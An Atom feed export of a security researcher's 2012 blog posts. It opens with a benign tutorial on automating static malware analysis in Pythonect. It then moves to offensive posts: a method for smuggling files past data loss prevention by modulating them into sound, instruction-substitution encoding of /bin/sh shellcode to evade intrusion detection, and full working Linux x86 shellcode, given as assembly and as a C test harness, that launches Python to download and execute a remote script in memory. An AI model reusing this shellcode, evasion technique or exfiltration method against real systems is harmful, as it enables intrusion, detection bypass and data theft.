first version of &lt;a href=&quot;http://www.pythonect.org&quot;&gt;Pythonect&lt;/a&gt; - a new, experimental, general-purpose high-level dataflow programming language based on Python, written in Python.&lt;br /&gt;
It aims to combine the intuitive feel of shell scripting (and all of its perks like implicit parallelism) with the flexibility and agility of Python.&lt;br /&gt;
&lt;br /&gt;
Crazy? Most definitely. And yet, strangely enough, it works!&lt;br /&gt;
&lt;br /&gt;
Pythonect, being a dataflow programming language, treats data as something that originates from a source, flows through a number of processing components, and arrives at some final destination.&lt;br /&gt;
As such, it is most suitable for creating applications that are themselves focused on the &quot;flow&quot; of data. Perhaps the most readily available example of a dataflow-oriented applications comes from the realm of real-time signal processing, e.g. a video signal processor which perhaps starts with a video input, modifies it through a number of processing components (video filters), and finally outputs it to a video display.&lt;br /&gt;
&lt;br /&gt;
As with video, malware analysis can be expressed as a network of different components such as: disassemblers, regular expressions, debuggers and etc. that are connected by a number of communication channels.
&lt;br /&gt;
The benefits, and perhaps the greatest incentives, of expressing malware analysis this way is scalability and parallelism. The different components in the network can be maneuvered to create entirely unique dataflows without necessarily requiring the relationship to be hardcoded. Also, the design and concept of components make it easier to run on distributed systems and parallel processors.&lt;br /&gt;
&lt;br /&gt;
In this tutorial I will show you how to automate static malware analysis using Pythonect. The examples will be simple enough that you can extend them if you want to.&lt;br /&gt;
Before you read this tutorial you should have at least a basic knowledge of x86 Assembly, Python, and Pythonect (I recommend reading the &lt;a href=&quot;https://github.com/ikotler/pythonect/wiki/Pythonect-Tutorial:-Learn-By-Example&quot;&gt;Pythonect Tutorial: Learn By Example&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Note: I have decided to go with static malware analysis because it&#39;s easier to demonstrate, and to use open source tools because they are more accessible. Nonetheless, this does not go to show that Pythonect or dataflow programming cannot be used to automate dynamic malware analysis, or integrated with a commercial software. The only limit is your imagination.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
There isn&#39;t exactly a &quot;Hello, world&quot; program in the malware analysis realm, so I will start with my equivalent to &quot;Hello, world&quot;, an example program that computes a MD5 digest of a file:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; os.system(&quot;/usr/bin/md5sum &quot; + _)&lt;/pre&gt;
The program above uses the &lt;i&gt;md5sum&lt;/i&gt; program of GNU coreutils to compute and print MALWARE.EXE&#39;s MD5 digest. Let&#39;s extend it to compute the MALWARE.EXE&#39;s SHA1 digest as well:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; [os.system(&quot;/usr/bin/md5sum &quot; + _), os.system(&quot;/usr/bin/sha1sum &quot; + _)]&lt;/pre&gt;
The new program above uses the &lt;i&gt;md5sum&lt;/i&gt; and &lt;i&gt;sha1sum&lt;/i&gt; of GNU coreutils to compute and print MALWARE.EXE&#39;s MD5 and SHA1 digests. Let&#39;s keep improving it:
&lt;pre class=&quot;brush: plain&quot;&gt;sys.argv[1] -&gt; [os.system(&quot;/usr/bin/md5sum &quot; + _), os.system(&quot;/usr/bin/sha1sum &quot; + _)]&lt;/pre&gt;
Now, the new program reads the malware filename from a command-line argument. To run the script just save it (e.g. &lt;i&gt;md5_and_sha1_sums&lt;/i&gt;) and run the Pythonect interpreter like this:
&lt;pre class=&quot;brush: plain&quot;&gt;
% /usr/local/bin/pythonect md5_and_sha1_sums /bin/ls
92385e9b8864032488e253ebde0534c3  /bin/ls
8800fee57584ed1c44b638225c2f1eec818a27c2  /bin/ls
&lt;/pre&gt;
Often, the goal is to handle the large volume of malware samples collected each day, let&#39;s change the program to work on all the executables (i.e. *.EXE) in the current directory:&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;glob.glob(&#39;*.EXE&#39;) -&gt; [os.system(&quot;/usr/bin/md5sum &quot; + _), os.system(&quot;/usr/bin/sha1sum &quot; + _)]&lt;/pre&gt;
Of course it can be further finetuned or customized at will. Also, it&#39;s worth mentioning that the program above is multi-threaded. Meaning, each file starts a new thread.&lt;br /&gt;
&lt;br /&gt;
So far, I have used Python&#39;s &lt;i&gt;os.system()&lt;/i&gt; function in all of the example programs. The &lt;i&gt;os.system()&lt;/i&gt; is handy when it comes to writing small scripts, it executes a command in a subshell and returns it&#39;s exit status.&lt;br /&gt;But since there is little interest in passing the exit status to another component, a different command executing function will be needed when building an advanced script. &lt;i&gt;subprocess.check_output()&lt;/i&gt;.
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; subprocess.check_output([&#39;/usr/bin/md5sum&#39;, _]) -&gt; print&lt;/pre&gt;
Much like the original example program, the program above uses the &lt;i&gt;md5sum&lt;/i&gt; program of GNU coreutils to compute MALWARE.EXE&#39;s MD5 digest, but prints the result using Pythonect&#39;s &lt;i&gt;print()&lt;/i&gt; function.&lt;br /&gt;
&lt;br /&gt;Moving on. The Python Standard Library is a rich set of libraries (modules and packages) for tackling just about every programming task. For example:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; open(_, &#39;r&#39;).read() -&gt; hashlib.md5 -&gt; _.hexdigest() -&gt; print&lt;/pre&gt;
The program above is an alternative to the original example program, it uses Python&#39;s &lt;i&gt;hashlib.md5()&lt;/i&gt; module to compute and MALWARE.EXE&#39;s MD5 digest and Pythonect&#39;s &lt;i&gt;print()&lt;/i&gt; to display it. What else?
&lt;pre class=&quot;brush: plain&quot;&gt;
&quot;MALWARE.EXE&quot; \
    -&gt; open(_, &#39;r&#39;).read() \
    -&gt; [re.finditer(&quot;\xcc&quot;, _), re.finditer(&quot;\xcd\x03&quot;, _)] \
    -&gt; print &quot;Found INT3 between Offset #%d and #%d&quot; % _.span(0)
&lt;/pre&gt;
The program above searches for all the INT 3 instructions occurrences in MALWARE.EXE file, and prints the offsets of the beginning and end of each matched record.&lt;br /&gt;&lt;br /&gt;
Now, for the times when the Python Standard Library don&#39;t have what you looking for. You can always implement your own in Python:
&lt;pre class=&quot;brush: python&quot;&gt;
import math

def entropy(data):
    entropy = 0
    if data:
        for x in range(2**8):
            p_x = float(data.count(chr(x))) / len(data)
            if p_x &gt; 0:
                entropy += - p_x * math.log(p_x, 2)
    return entropy
&lt;/pre&gt;
The above is an implementation of Shannon&#39;s entropy equation in Python. To use it, simply save it (e.g. &lt;i&gt;entropy.py&lt;/i&gt;), and reference it in a program:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; open(_, &#39;r&#39;).read() -&gt; entropy.entropy -&gt; print&lt;/pre&gt;
The program above uses &lt;i&gt;entropy()&lt;/i&gt; of &lt;i&gt;entropy.py&lt;/i&gt; to measure and print MALWARE.EXE&#39;s entropy. To conclude this tutorial, let&#39;s tweak it one more time:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;MALWARE.EXE&quot; -&gt; subprocess.check_output([&#39;/usr/bin/objcopy&#39;, &#39;-O&#39;, &#39;binary&#39;, &#39;-j&#39;, &#39;.text&#39;, _, &#39;/dev/stdout&#39;]) -&gt; entropy.entropy -&gt; print&lt;/pre&gt;
Now, the program above uses &lt;i&gt;entropy()&lt;/i&gt; of &lt;i&gt;entropy.py&lt;/i&gt; to measure and print MALWARE.EXE&#39;s .text section (using &lt;i&gt;objcopy&lt;/i&gt; of GNU binutils) entropy.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.pythonect.org&quot;&gt;Pythonect&lt;/a&gt; is still under heavy development, there&#39;s a ton of unimplemented features and even more bugs. It&#39;s not ready for production yet, but you still can start to play with it and have plenty of fun!&lt;br /&gt;
&lt;br /&gt;
That&#39;s all for now.
</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/3426988209698587108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/08/automated-static-malware-analysis-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3426988209698587108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3426988209698587108'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/08/automated-static-malware-analysis-with.html' title='Automated Static Malware Analysis with Pythonect'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-3400734272476963454</id><published>2012-07-08T18:29:00.001+03:00</published><updated>2012-07-08T18:29:24.035+03:00</updated><title type='text'>Modulation and Data Loss Prevention (DLP) Solutions</title><content type='html'>Last year, my colleague Iftach (Ian) Amit and I gave a talk called &#39;Sounds Like Botnets&#39; at DEFCON 19 and BSides Las Vegas conferences. Here is a link to the &lt;a href=&quot;http://www.ikotler.org/SoundsLikeBotnet_DC19_n_BSidesLV11.pdf&quot;&gt;slides&lt;/a&gt; [PDF].&lt;br /&gt;
In the talk, we demonstrated how a combination of modulation and VoIP can be used to bypass enterprise security controllers. Here are the links to the &lt;a href=&quot;http://code.google.com/p/moshimoshi/&quot;&gt;poc #1&lt;/a&gt;, and &lt;a href=&quot;https://github.com/iiamit/data-sound-poc&quot;&gt;poc #2&lt;/a&gt;.&lt;br /&gt;
This year, I won&#39;t be able to make it to Las Vegas for any of the conferences. Dwelling on the past, I have decided to revisit the &#39;Sounds Like Botnets&#39; talk and add some content to it.&lt;br /&gt;
&lt;br /&gt;
Data loss prevention (DLP) solutions are designed to detect and prevent potential data breach incidents. There are many types of DLP systems, the one that I&#39;ll address is the Endpoint DLP software.&lt;br /&gt;
Endpoint DLP software runs on an end-user workstations and monitors and controls access to physical devices (e.g. mobile devices) among other things. But does it monitor the sound card?&lt;br /&gt;
It is possible to modulate data into sound, and than to play it out from the workstation (using the sound card) to a 3rd party such as a voice recorder or any mobile with external microphone input.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Modulation vs. DLP #1:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Keep in mind that this is a proof of concept, so it&#39;s not going to work 100% of the time. If it&#39;s not working, try: (a) a smaller document/payload or (b) a different recording device.&lt;br /&gt;
&lt;br /&gt;
To modulate:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Download &lt;a href=&quot;https://github.com/iiamit/data-sound-poc/blob/master/data2sound.py&quot;&gt;data2sound.py&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pick a file&lt;/li&gt;
&lt;li&gt;Modulate the file&lt;/li&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;$ ./data2sound.py -i secret.txt -o foobar.wav&lt;/pre&gt;
&lt;li&gt;Connect the recording device to the workstation sound card (Headphones output)&lt;/li&gt;
&lt;li&gt;Start recording on the recording device&lt;/li&gt;
&lt;li&gt;Play the generated WAV file (i.e. foobar.wav)&lt;/li&gt;
&lt;li&gt;Stop the recording on the recording device&lt;/li&gt;
&lt;/ul&gt;
To demodulate:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Download &lt;a href=&quot;https://github.com/iiamit/data-sound-poc/blob/master/sound2data.py&quot;&gt;sound2data.py&lt;/a&gt;&lt;/li&gt;
&lt;br /&gt;
Then, if possible, copy the file &quot;AS IT IS&quot; from the recording device to the computer, and demodulate it:
&lt;pre class=&quot;brush: plain&quot;&gt;$ ./sound2data.py -i foobar.wav -o secret.txt&lt;/pre&gt;
If not, try the following steps:
&lt;ul&gt;
&lt;li&gt;Connect the recording device to the workstation sound card (Microphone input)&lt;/li&gt;
&lt;li&gt;Start recording on the workstation&lt;/li&gt;
&lt;li&gt;Play the file on the recording device&lt;/li&gt;
&lt;li&gt;Stop the recording on the workstation&lt;/li&gt;
&lt;li&gt;Demodulate the file&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
Try this (at home, and at your own risk) and post a comment with what file and sound card equipment you tried, and whether it worked for you or not. Now, the next method is really more theory than practice.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Modulation vs. DLP #2:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
By bridging between the computer soundcard and a smart phone broadband modem, it is possible to upgrade the previous method to be an on-line, or real time one. In other words, Build Your Own Modem.&lt;br /&gt;
&lt;br /&gt;
The setup:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Connect the computer headphone output into the smart phone external microphone input. This way, the computer can output signal to the smart phone.&lt;/li&gt;
&lt;li&gt;Connect the smart phone headphone output into the computer external microphone input. This way, the smart phone can output signal to the computer.&lt;/li&gt;
&lt;/ul&gt;
This should (in theory) make sure that a signal can go from side to side. Now, let&#39;s see what each side should do.&lt;br /&gt;
&lt;br /&gt;
On the smart phone:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Call to the remote site&lt;/li&gt;
&lt;li&gt;(The caller signal should be sent to the computer via headphone output, if not, try playing with the settings)&lt;/li&gt;
&lt;li&gt;(The calle signal should be received from the computer via microphone input, if not, try playing with the settings)&lt;/li&gt;
&lt;/ul&gt;
There&#39;s also the option of pairing (via Bluetooth) the computer and the smart phone: The computer identifies as a headset and gains access to smart phone speaker/microphone. But it&#39;s preventable by DLP.&lt;br /&gt;
&lt;br /&gt;
On the computer:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Modulate the file you wish to trasnfer&lt;/li&gt;
&lt;li&gt;Play the generated WAV file&lt;/li&gt;
&lt;/ul&gt;
That&#39;s the basic idea, of course, you can install a software on the computer which will modulate-demoulate (i.e. MODEM) on the fly, making it possible to get transmission from the remote site and respond to it.&lt;br /&gt;
&lt;br /&gt;
Before wrapping up this post, I&#39;d like to give a big shout out to Mickey Shaktov and Iftach (Ian) Amit, each of them will be presenting this year at Blackhat USA. Go see their talks, you won&#39;t be disappointed!</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/3400734272476963454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/07/modulation-and-data-loss-prevention-dlp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3400734272476963454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3400734272476963454'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/07/modulation-and-data-loss-prevention-dlp.html' title='Modulation and Data Loss Prevention (DLP) Solutions'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-3047281933585812704</id><published>2012-06-23T19:47:00.000+03:00</published><updated>2012-06-26T12:23:08.871+03:00</updated><title type='text'>Decoderless Shellcode Encoding</title><content type='html'>Today, it&#39;s almost impossible to send an unencoded exploit payload over the wire without triggering a Network Intrusion Prevention System (IPS) or Network Intrusion Detection System (NIDS) on the way.&lt;br /&gt;
The obvious solution is to encode the payload before sending it. A typical encoder yields a new payload that contains both, the old payload encoded and a decoder function to decode it.&lt;br /&gt;
Now, the encoded payload is &quot;free&quot; of any malicious patterns so it won&#39;t trigger any alarm, but what about the decoder? It becomes the weakest link and the new trigger for alarm.&lt;br /&gt;
&lt;br /&gt;
Almost every encoding method requires a decoder to be embedded in the payload. The tricky part is how to encode the decoder so it won&#39;t trigger any alarm? And is it even possible?&lt;br /&gt;
The short answer is Yes, there are some ways to do it, one of them is instruction substitution. In other words, replacing an instruction with semantically equivalent, but different instruction.&lt;br /&gt;
But if instruction substitution is good enough for encoding decoders, is it not good enough for encoding the payload itself? Yes, it is good enough to encode the payload as well.&lt;br /&gt;
By applying instruction substitution on a payload, the result is, an encoded payload with no decoder in it. A decoderless encoded shellcode.&lt;/br&gt;
&lt;br /&gt;
Let&#39;s take the following shellcode (execve &quot;/bin/sh&quot;, 23 bytes) as an input:
&lt;pre class=&quot;brush: asm&quot;&gt;
.section .text
.global _start
_start:
    push $0xb
    popl %eax
    cdq
    push %edx
    push $0x68732f2f
    push $0x6e69622f
    mov %esp,%ebx
    push %edx
    push %ebx
    mov %esp, %ecx
    int $0x80
&lt;/pre&gt;
The first instruction is:
&lt;pre class=&quot;brush: asm&quot;&gt;
push $0xb
&lt;/pre&gt;
The goal of this instruction is to store the byte 0xB in the stack. One way to encode this instruction will be:
&lt;pre class=&quot;brush: asm&quot;&gt;
push $0xc
decb (%esp)
&lt;/pre&gt;
This way, the value (i.e. 0xB) is no longer visible. Another way to encode this instruction will be:
&lt;pre class=&quot;brush: asm&quot;&gt;
sub $0x4, %esp
movl $0xfffffff4, (%esp)
notl (%esp)
&lt;/pre&gt;
Here, the PUSH instruction is no longer visible. The reason I&#39;m using 0xFFFFFFF4 (i.e. -12, ~0xB) and not 0xB is to avoid NULL bytes, but if NULL is not a problem then:
&lt;pre class=&quot;brush: asm&quot;&gt;
sub $0x4, %esp
movl $0x0000000b, (%esp)
&lt;/pre&gt;
Now, not only single instructions can be encoded. It&#39;s also possible to group a few instructions together and encode it. For example:
&lt;pre class=&quot;brush: asm&quot;&gt;
push $0xb
popl %eax
&lt;/pre&gt;
The goal of this instruction group is to store the value 0x0000000B in register EAX. One way to encode it will be:
&lt;pre class=&quot;brush: asm&quot;&gt;
movl $0xfffffff4, %eax
xorl %eax, $0xfff31337
&lt;/pre&gt;
This way, the value (i.e. 0xB, or 0x0000000B) is no longer visible. Another way to encode this instruction group will be:
&lt;pre class=&quot;brush: asm&quot;&gt;
pusha
movl $0xfffffff4, 0x1c(%esp)
notl 0x1c(%esp)
popa
&lt;/pre&gt;
Here, both, the referenced register (i.e. EAX) and the value (i.e. 0xB, or 0x0000000B) are not visible.
&lt;br /&gt;
The advantage of this approach is that it can be recursive, each output can be used as input for another pass. For example:
&lt;pre class=&quot;brush: asm&quot;&gt;
push $0xb
&lt;/pre&gt;
Yields:
&lt;pre class=&quot;brush: asm&quot;&gt;
push $0xc
decb (%esp)
&lt;/pre&gt;
That can yield:
&lt;pre class=&quot;brush: asm&quot;&gt;
sub $0x4, %esp
movl $0xfffffff3, (%esp)
notl (%esp)
decb (%esp)
&lt;/pre&gt;
And so on.
&lt;br /&gt;
The disadvantage of this approach is that it&#39;s not size-oriented (output might be bigger than input) and it will not work on all the instructions set (e.g. INT).&lt;br /&gt;
&lt;br /&gt;
Several years ago I have developed and released a program in Python called &lt;a href=&quot;https://github.com/ikotler/tty64/blob/master/shcfuscator/shcfuscator-0.1/shcfuscator.py&quot;&gt;shcfuscator&lt;/a&gt; (read: shellcode obfuscator) to automate this very process.&lt;br /&gt;
&lt;a href=&quot;https://github.com/ikotler/tty64/blob/master/shcfuscator/shcfuscator-0.1/shcfuscator.py&quot;&gt;Shcfuscator&lt;/a&gt; takes an input assembly program in GAS syntax, substitutes popular instructions, and outputs an assembly program in GAS syntax.&lt;br /&gt;
Nothing much happened with it, and I didn&#39;t follow-up on it, until recently, when I thought about it again and decided to write this post.&lt;br /&gt;
&lt;br /&gt;
So, if anybody is interested in porting it Metasploit as en encoder module, please let me know - I&#39;d be happy to help out!&lt;br /&gt;
&lt;br /&gt;
Following this legacy project, I have decided to open a repository for other legacy projects that I have developed in the early-mid 2000&#39;s&lt;br /&gt;
&lt;br /&gt;
The repository can be found at: &lt;a href=&quot;https://github.com/ikotler/tty64&quot;&gt;https://github.com/ikotler/tty64&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I am not planning on maintain it, but nonetheless feel free free to fork.</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/3047281933585812704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/06/decoderless-shellcode-encoding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3047281933585812704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3047281933585812704'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/06/decoderless-shellcode-encoding.html' title='Decoderless Shellcode Encoding'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-490828630293299518</id><published>2012-05-17T13:04:00.000+03:00</published><updated>2012-05-17T13:04:44.165+03:00</updated><title type='text'>Linux/x86 Execve Python Interpreter with a Python Program Passed in as String Shellcode</title><content type='html'>About a month ago, Phrack magazine #68 was released and a linux x86 shellcode (&lt;a href=&quot;https://github.com/ikotler/shellcode/blob/master/linux-x86-src/bindshell-tcp-fork.s&quot;&gt;bindshell-tcp-fork.s&lt;/a&gt;) that I wrote a few years ago got mentioned in one of the articles.&lt;br /&gt;
This made me feel nostalgic and I have decided to pack all the shellcodes that I have written over the years into a tarball (&lt;a href=&quot;http://ikotler.org/linux_x86_shellcodes.tar.gz&quot;&gt;linux_x86_shellcodes.tar.gz&lt;/a&gt;) and re-publish it.&lt;br /&gt;
The feedback I got was great, and it inspired me to go and write a new shellcode. So, I did.&lt;br /&gt;
I have written a new linux x86 execve() shellcode that executes the Python interpreter with a Python program passed in as string.&lt;br /&gt;
&lt;br /&gt;
Why calling Python and not /bin/sh you ask? Because Python script makes it easier to customize and/or automate a penetration testing (especially post exploitation).&lt;br /&gt;
Python is a cross-platform programming language with a decent standard library, and is known to run on almost any operating system or hardware platform.&lt;br /&gt;
A Python script can query the OS, CPU, HOSTNAME, and even IP address, and based on this information to call different functions and/or use different parameters.&lt;br /&gt;
Shell script, as good as it may be, is still dependent on various binaries to be installed beforehand to be able to run successfully. Also, shell scripts are not cross-platform.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s have a look on how it works. Here&#39;s the shellcode source code:
&lt;pre class=&quot;brush: asm&quot;&gt;
.section .text
.global _start
_start:
        push  $0xb
        pop   %eax
        cdq
        push  %edx
        push  $0x20292763
        push  $0x65786527
        push  $0x2c273e67
        push  $0x6e697274
        push  $0x733c272c
        push  $0x29286461
        push  $0x65722e29
        push  $0x2779702e
        push  $0x646c726f
        push  $0x776f6c6c
        push  $0x65682f32
        push  $0x34323834
        push  $0x3639322f
        push  $0x752f6d6f
        push  $0x632e786f
        push  $0x62706f72
        push  $0x642e6c64
        push  $0x2f2f3a70
        push  $0x74746827
        push  $0x286e6570
        push  $0x6f6c7275
        push  $0x2e326269
        push  $0x6c6c7275
        push  $0x28656c69
        push  $0x706d6f63
        push  $0x20636578
        push  $0x653b3262
        push  $0x696c6c72
        push  $0x75207472
        push  $0x6f706d69
        mov   %esp, %esi
        push  %edx
        pushw $0x632d
        mov   %esp, %ecx
        push  %edx
        push  $0x6e6f6874
        push  $0x79702f6e
        push  $0x69622f72
        push  $0x73752f2f
        mov   %esp,%ebx
        push  %edx
        push  %esi
        push  %ecx
        push  %ebx
        mov   %esp,%ecx
        int   $0x80
&lt;/pre&gt;
What the shellcode does is call execve() syscall with &#39;/usr/bin/python&#39; as the filename argument, and &#39;-c&#39; and a one-line Python program as the argv array argument.&lt;br /&gt;
There&#39;s no need for a cleanup code, as execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.&lt;br /&gt;
&lt;br /&gt;
Here is the Python one-line program source code:
&lt;pre class=&quot;brush: python&quot;&gt;import urllib2 ; exec compile(urllib2.urlopen(&#39;http://ikotler.org/helloworld.py&#39;).read(), &#39;&amp;lt;string&amp;gt;&#39;, &#39;exec&#39;)&lt;/pre&gt;
What the Python program does is import the urllib2 library and use it to retrieve a Python script from a remote Web server, and then compiles and executes it on the fly.&lt;br /&gt;
More to it, The retrieved Python script remains in memory the whole time. The Python program does all of the above without writing any data to the hard drive.&lt;br /&gt;
&lt;br /&gt;
Here is the retrieved Python script (i.e. helloworld.py) source code:
&lt;pre class=&quot;brush: python&quot;&gt;print &quot;Hello, world&quot;&lt;/pre&gt;
Depending on the nature of the retrieved Python script, it might be enough to just use eval() instead of exec and compile() combination in the one-line Python program.&lt;br /&gt;
In this case, print is a statement in Python 2.x and as such it can not be evaluated using eval(). in Python 3, print() is a function and can be evaluated using eval().&lt;br /&gt;
If in doubt, always use the exec and compile() combination.&lt;br /&gt;
&lt;br /&gt;
To compile the shellcode source and test it:
&lt;pre class=&quot;brush: plain&quot;&gt;
$ as -o python-execve-urllib2-exec.o python-execve-urllib2-exec.s
$ ld -o python-execve-urllib2-exec python-execve-urllib2-exec.o
$ ./python-execve-urllib2-exec
&lt;/pre&gt;
The output should be:
&lt;pre class=&quot;brush: plain&quot;&gt;Hello, world&lt;/pre&gt;
Here is the shellcode represented as a hex string within a C program:
&lt;pre class=&quot;brush: cpp&quot;&gt;
char shellcode[] =

        &quot;\x6a\x0b&quot;              // push  $0xb
        &quot;\x58&quot;                  // pop   %eax
        &quot;\x99&quot;                  // cdq
        &quot;\x52&quot;                  // push  %edx
        &quot;\x68\x63\x27\x29\x20&quot;  // push  $0x20292763
        &quot;\x68\x27\x65\x78\x65&quot;  // push  $0x65786527
        &quot;\x68\x67\x3e\x27\x2c&quot;  // push  $0x2c273e67
        &quot;\x68\x74\x72\x69\x6e&quot;  // push  $0x6e697274
        &quot;\x68\x2c\x27\x3c\x73&quot;  // push  $0x733c272c
        &quot;\x68\x61\x64\x28\x29&quot;  // push  $0x29286461
        &quot;\x68\x29\x2e\x72\x65&quot;  // push  $0x65722e29
        &quot;\x68\x2e\x70\x79\x27&quot;  // push  $0x2779702e
        &quot;\x68\x6f\x72\x6c\x64&quot;  // push  $0x646c726f
        &quot;\x68\x6c\x6c\x6f\x77&quot;  // push  $0x776f6c6c
        &quot;\x68\x32\x2f\x68\x65&quot;  // push  $0x65682f32
        &quot;\x68\x34\x38\x32\x34&quot;  // push  $0x34323834
        &quot;\x68\x2f\x32\x39\x36&quot;  // push  $0x3639322f
        &quot;\x68\x6f\x6d\x2f\x75&quot;  // push  $0x752f6d6f
        &quot;\x68\x6f\x78\x2e\x63&quot;  // push  $0x632e786f
        &quot;\x68\x72\x6f\x70\x62&quot;  // push  $0x62706f72
        &quot;\x68\x64\x6c\x2e\x64&quot;  // push  $0x642e6c64
        &quot;\x68\x70\x3a\x2f\x2f&quot;  // push  $0x2f2f3a70
        &quot;\x68\x27\x68\x74\x74&quot;  // push  $0x74746827
        &quot;\x68\x70\x65\x6e\x28&quot;  // push  $0x286e6570
        &quot;\x68\x75\x72\x6c\x6f&quot;  // push  $0x6f6c7275
        &quot;\x68\x69\x62\x32\x2e&quot;  // push  $0x696c6c72
        &quot;\x68\x75\x72\x6c\x6c&quot;  // push  $0x6c6c7275
        &quot;\x68\x69\x6c\x65\x28&quot;  // push  $0x28656c69
        &quot;\x68\x63\x6f\x6d\x70&quot;  // push  $0x706d6f63
        &quot;\x68\x78\x65\x63\x20&quot;  // push  $0x20636578
        &quot;\x68\x62\x32\x3b\x65&quot;  // push  $0x653b3262
        &quot;\x68\x72\x6c\x6c\x69&quot;  // push  $0x696c6c72
        &quot;\x68\x72\x74\x20\x75&quot;  // push  $0x75207472
        &quot;\x68\x69\x6d\x70\x6f&quot;  // push  $0x6f706d69
        &quot;\x89\xe6&quot;              // mov   %esp,%esi
        &quot;\x52&quot;                  // push  %edx
        &quot;\x66\x68\x2d\x63&quot;      // pushw $0x632d
        &quot;\x89\xe1&quot;              // mov   %esp,%ecx
        &quot;\x52&quot;                  // push  %edx
        &quot;\x68\x74\x68\x6f\x6e&quot;  // push  $0x6e6f6874
        &quot;\x68\x6e\x2f\x70\x79&quot;  // push  $0x79702f6e
        &quot;\x68\x72\x2f\x62\x69&quot;  // push  $0x69622f72
        &quot;\x68\x2f\x2f\x75\x73&quot;  // push  $0x73752f2f
        &quot;\x89\xe3&quot;              // mov   %esp,%ebx
        &quot;\x52&quot;                  // push  %edx
        &quot;\x56&quot;                  // push  %esi
        &quot;\x51&quot;                  // push  %ecx
        &quot;\x53&quot;                  // push  %ebx
        &quot;\x89\xe1&quot;              // mov   %esp, %ecx
        &quot;\xcd\x80&quot;;             // int   $0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&amp;ret + 2;
        (*ret) = (int) shellcode;
}
&lt;/pre&gt;
Again, to run and test it is as easy as:
&lt;pre class=&quot;brush: plain&quot;&gt;
$ gcc -o python-execve-urllib2-exec python-execve-urllib2-exec.c
$ ./python-execve-urllib2-exec 
&lt;/pre&gt;
The output should be the same:
